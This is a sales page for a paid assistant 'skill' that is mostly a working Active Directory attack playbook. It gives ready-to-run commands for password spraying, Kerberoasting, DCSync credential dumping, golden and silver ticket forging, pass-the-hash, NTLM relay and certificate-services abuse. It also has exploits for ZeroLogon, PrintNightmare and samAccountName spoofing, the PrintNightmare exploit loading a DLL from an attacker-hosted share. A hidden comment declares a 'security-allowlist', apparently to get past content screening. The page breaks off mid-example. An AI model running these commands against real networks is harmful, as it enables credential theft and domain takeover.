Claude
Skills
Sign in
Back

active-directory-attacks

Included with Lifetime
$97 forever

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Security

What this skill does


> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

<!-- security-allowlist: credential-extraction, kerberos-attacks -->

# Active Directory Attacks

## Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

## Inputs/Prerequisites

- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

## Outputs/Deliverables

- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms

---

## Essential Tools

| Tool | Purpose |
|------|---------|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |

---

## Core Workflow

### Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

```bash
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>
```

### Step 2: AD Reconnaissance with BloodHound

```bash
# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
```

### Step 3: PowerView Enumeration

```powershell
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
```

---

## Credential Attacks

### Password Spraying

```bash
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
```

### Kerberoasting

Extract service account TGS tickets and crack offline:

```bash
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
```

### AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication":

```bash
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
```

### DCSync Attack

Extract credentials directly from DC (requires Replicating Directory Changes rights):

```bash
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
```

---

## Kerberos Ticket Attacks

### Pass-the-Ticket (Golden Ticket)

Forge TGT with krbtgt hash for any user:

```powershell
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
```

### Silver Ticket

Forge TGS for specific service:

```powershell
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
```

### Pass-the-Hash

```bash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
```

### OverPass-the-Hash

Convert NTLM hash to Kerberos ticket:

```bash
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
```

---

## NTLM Relay Attacks

### Responder + ntlmrelayx

```bash
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf

# Start relay
ntlmrelayx.py -tf targets.txt -smb2support

# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
```

### SMB Signing Check

```bash
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
```

---

## Certificate Services Attacks (AD CS)

### ESC1 - Misconfigured Templates

```bash
# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# Exploit ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```

### ESC8 - Web Enrollment Relay

```bash
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```

---

## Critical CVEs

### ZeroLogon (CVE-2020-1472)

```bash
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Extract hashes
secretsdump.py -just-dc domain.local/DC01\[email protected] -no-pass

# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
```

### PrintNightmare (CVE-2021-1675)

```bash
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
```

### samAccountName Spoofing (CVE-2021-42278/42287)

```bash
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
```

---

## Quick Reference

| Attack | Tool | Command |
|--------|------|---------|
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |

---

## Constraints

**Must:**
- Synchronize time with DC before Kerberos attacks
- Have valid domain credentials for most attacks
- Document all compromised accounts

**Must Not:**
- Lock out accounts with excessive password spraying
- Modify production AD objects without approval
- Leave Golden Tickets without documentation

**Should:**
- Run BloodHound for attack path discovery
- Check for SMB signing before relay attacks
- Verify patch levels for CVE exploitation

---

## Examples

### Example 1: Domain Compromise via Kerberoasting

```b

Related in Security